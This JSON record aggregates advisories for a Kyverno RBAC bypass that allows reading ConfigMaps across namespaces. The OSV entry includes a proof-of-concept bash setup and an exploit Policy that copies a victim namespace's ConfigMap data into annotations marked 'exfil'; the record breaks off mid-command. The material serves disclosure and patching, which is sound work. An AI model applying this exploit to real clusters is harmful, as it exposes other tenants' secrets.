{"id":"GHSA-cvq5-hhx3-f99p","revision":null,"records":[{"revision":"41c2239646944f0abd86e971b7a88b5d","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-41068","aliases":[],"title":"Kyverno: Cross-Namespace Read Bypasses RBAC Isolation (CVE-2026-22039 Incomplete Fix)","description":"Kyverno is a policy engine designed for cloud native platform engineering teams. The patch for CVE-2026-22039 fixed cross-namespace privilege escalation in Kyverno's `apiCall` context by validating the `URLPath` field. However, the ConfigMap context loader has the identical vulnerability — the `configMap.namespace` field accepts any namespace with zero validation, allowing a namespace admin to read ConfigMaps from any namespace using Kyverno's privileged service account. This is a complete RBAC bypass in multi-tenant Kubernetes clusters. An updated fix is available in version 1.17.2.","state":0,"publishedAt":"2026-04-24T03:14:27.64+00:00","modifiedAt":"2026-04-24T16:22:26.972+00:00","affected":[{"ecosystem":"Vendor product","name":"kyverno","ranges":[],"versions":[],"rawVersionEvidence":"{\n \"vendor\": \"kyverno\",\n \"product\": \"kyverno\",\n \"versions\": [\n {\n \"version\": \"< 1.17.2\",\n \"status\": \"affected\"\n }\n ]\n }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","score":7.7,"severity":"HIGH"}],"references":["https://github.com/kyverno/kyverno/security/advisories/GHSA-cvq5-hhx3-f99p","https://github.com/kyverno/kyverno/commit/bbf3e5c01391d612968440659028ae98e565a777"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-41068","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-41068","identifiers":["CVE-2026-41068"]},"retained":false,"historicalAffected":[]},{"revision":"af318811c94b4c7cb6ef5d2bb22ce723","observedAt":"2026-11-15T12:02:53.526+00:00","statement":{"source":"euvd","id":"EUVD-2026-25382","aliases":["CVE-2026-41068"],"title":"Kyverno is a policy engine designed for cloud native platform engineering teams. The patch for CVE-2026-22039 fixed cross-namespace privilege escalation in Kyverno's `apiCall` context by validating the `URLPath` field. However, the ConfigMa…","description":"Kyverno is a policy engine designed for cloud native platform engineering teams. The patch for CVE-2026-22039 fixed cross-namespace privilege escalation in Kyverno's `apiCall` context by validating the `URLPath` field. However, the ConfigMap context loader has the identical vulnerability — the `configMap.namespace` field accepts any namespace with zero validation, allowing a namespace admin to read ConfigMaps from any namespace using Kyverno's privileged service account. This is a complete RBAC bypass in multi-tenant Kubernetes clusters. An updated fix is available in version 1.17.2.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","score":7.7,"severity":null}],"references":["https://github.com/kyverno/kyverno/security/advisories/GHSA-cvq5-hhx3-f99p","https://github.com/kyverno/kyverno/commit/bbf3e5c01391d612968440659028ae98e565a777"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-25382","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Apr 24, 2026, 3:14:27 AM","dateUpdated":"Apr 24, 2026, 4:22:26 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-25382","identifiers":["EUVD-2026-25382","CVE-2026-41068"]},"retained":false,"historicalAffected":[]},{"revision":"44096eb5dade4c64a4996dc2ef67194c","observedAt":"2026-11-12T15:18:55.774+00:00","statement":{"source":"nvd","id":"CVE-2026-41068","aliases":[],"title":"Kyverno is a policy engine designed for cloud native platform engineering teams. The patch for CVE-2026-22039 fixed cross-namespace privilege escalation in Kyverno's `apiCall` context by validating the `URLPath` field. However, the ConfigMa…","description":"Kyverno is a policy engine designed for cloud native platform engineering teams. The patch for CVE-2026-22039 fixed cross-namespace privilege escalation in Kyverno's `apiCall` context by validating the `URLPath` field. However, the ConfigMap context loader has the identical vulnerability — the `configMap.namespace` field accepts any namespace with zero validation, allowing a namespace admin to read ConfigMaps from any namespace using Kyverno's privileged service account. This is a complete RBAC bypass in multi-tenant Kubernetes clusters. An updated fix is available in version 1.17.2.","state":0,"publishedAt":"2026-04-24T04:16:19.95+00:00","modifiedAt":"2026-11-11T23:10:00.263+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","score":7.7,"severity":"HIGH"}],"references":["https://github.com/kyverno/kyverno/commit/bbf3e5c01391d612968440659028ae98e565a777","https://github.com/kyverno/kyverno/security/advisories/GHSA-cvq5-hhx3-f99p"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41068","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-863"],"productCriteria":["cpe:2.3:a:kyverno:kyverno:*:-:*:*:*:*:*:*"],"sourceDates":{"published":"2026-04-24T04:16:19.950","lastModified":"2026-11-11T23:10:00.263"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-41068","identifiers":["CVE-2026-41068"]},"retained":false,"historicalAffected":[]},{"revision":"0e010a4f8089405da5ff40410d8d6ee8","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-cvq5-hhx3-f99p","aliases":["BIT-kyverno-2026-41068","CVE-2026-41068","GO-2026-5337"],"title":"Kyverno: Cross-Namespace Read Bypasses RBAC Isolation (CVE-2026-22039 Incomplete Fix)","description":"### Summary\n\nCVE-2026-22039 fixed cross-namespace privilege escalation in Kyverno's `apiCall` context by validating the `URLPath` field. However, the **ConfigMap context loader has the identical vulnerability** — the `configMap.namespace` field accepts any namespace with zero validation, allowing a namespace admin to read ConfigMaps from any namespace using Kyverno's privileged service account. This is a complete RBAC bypass in multi-tenant Kubernetes clusters.\n\n### Details\n\n**Root cause:** The CVE-2026-22039 fix in `pkg/engine/apicall/apiCall.go` (lines 73-83) validates that `URLPath` references only the policy's own namespace using regex. However, the ConfigMap context loader at `pkg/engine/context/loaders/configmap.go` performs **no namespace validation** on the `namespace` field.\n\n**Code path comparison:**\n\n| | CVE-2026-22039 (fixed) | This vulnerability (unfixed) |\n|--|---|---|\n| **Location** | `apiCall.URLPath` field | `configMap.namespace` field |\n| **Code path** | `apicall.Fetch()` → namespace regex validation | `configmap.NewConfigMapLoader()` → no validation |\n| **Root cause** | Variable substitution + missing validation | Same pattern, still unpatched |\n\n**Exploit mechanism:**\n1. Namespace admin creates a Kyverno Policy in their namespace (standard RBAC)\n2. Policy uses `context.configMap.namespace: \"victim-ns\"` to reference another namespace\n3. Kyverno's admission controller service account (has cluster-wide `view` role) fetches the ConfigMap\n4. Policy mutates a trigger ConfigMap to exfiltrate the stolen data via annotations\n\n**Affected code:** `pkg/engine/context/loaders/configmap.go` - `NewConfigMapLoader()` does not validate resolved namespace against policy namespace.\n\n### PoC\n\nFull reproduction (5 minutes on `kind`):\n\n```bash\n#!/bin/bash\n# Setup: kind cluster + Kyverno v1.17.0\nkind create cluster --name kyverno-poc --wait 60s\nhelm repo add kyverno https://kyverno.github.io/kyverno/\nhelm install kyverno kyverno/kyverno --namespace kyverno --create-namespace --version 3.7.0 --wait\n\n# Create attacker and victim namespaces\nkubectl create namespace attacker-ns\nkubectl create namespace victim-ns\n\n# Plant sensitive data in victim namespace\nkubectl create configmap sensitive-config -n victim-ns \\\n --from-literal=db-password=\"s3cr3t-p4ssw0rd\" \\\n --from-literal=api-key=\"AKIAIOSFODNN7EXAMPLE\"\n\n# Create namespace admin RBAC (standard multi-tenant setup)\nkubectl create serviceaccount ns-admin -n attacker-ns\nkubectl create rolebinding ns-admin-binding --clusterrole=admin \\\n --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns\nkubectl create role kyverno-policy-creator --verb=create,get,list \\\n --resource=policies.kyverno.io --namespace=attacker-ns\nkubectl create rolebinding kyverno-policy-binding --role=kyverno-policy-creator \\\n --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns\n\n# Verify namespace admin CANNOT directly access victim-ns\nkubectl get configmap sensitive-config -n victim-ns \\\n --as=system:serviceaccount:attacker-ns:ns-admin\n# Error: Forbidden (expected)\n```\n\n**Exploit policy:**\n```yaml\n# Apply as namespace admin\napiVersion: kyverno.io/v1\nkind: Policy\nmetadata:\n name: configmap-crossns-read\n namespace: attacker-ns\nspec:\n rules:\n - name: steal-configmap\n match:\n any:\n - resources:\n kinds: [ConfigMap]\n names: [\"trigger-cm\"]\n context:\n - name: stolendata\n configMap:\n name: \"sensitive-config\"\n namespace: \"victim-ns\" # <-- NO VALIDATION\n mutate:\n patchStrategicMerge:\n metadata:\n annotations:\n exfil-db-password: \"{{ stolendata.data.\\\"db-password\\\" }}\"\n exfil-api-key: \"{{ stolendata.data.\\\"api-key\\\" }}\"\n```\n\n**Trigger and exfiltrate:**\n```bash\n# Trigger policy (as namespace admin)\nkubectl apply -f - <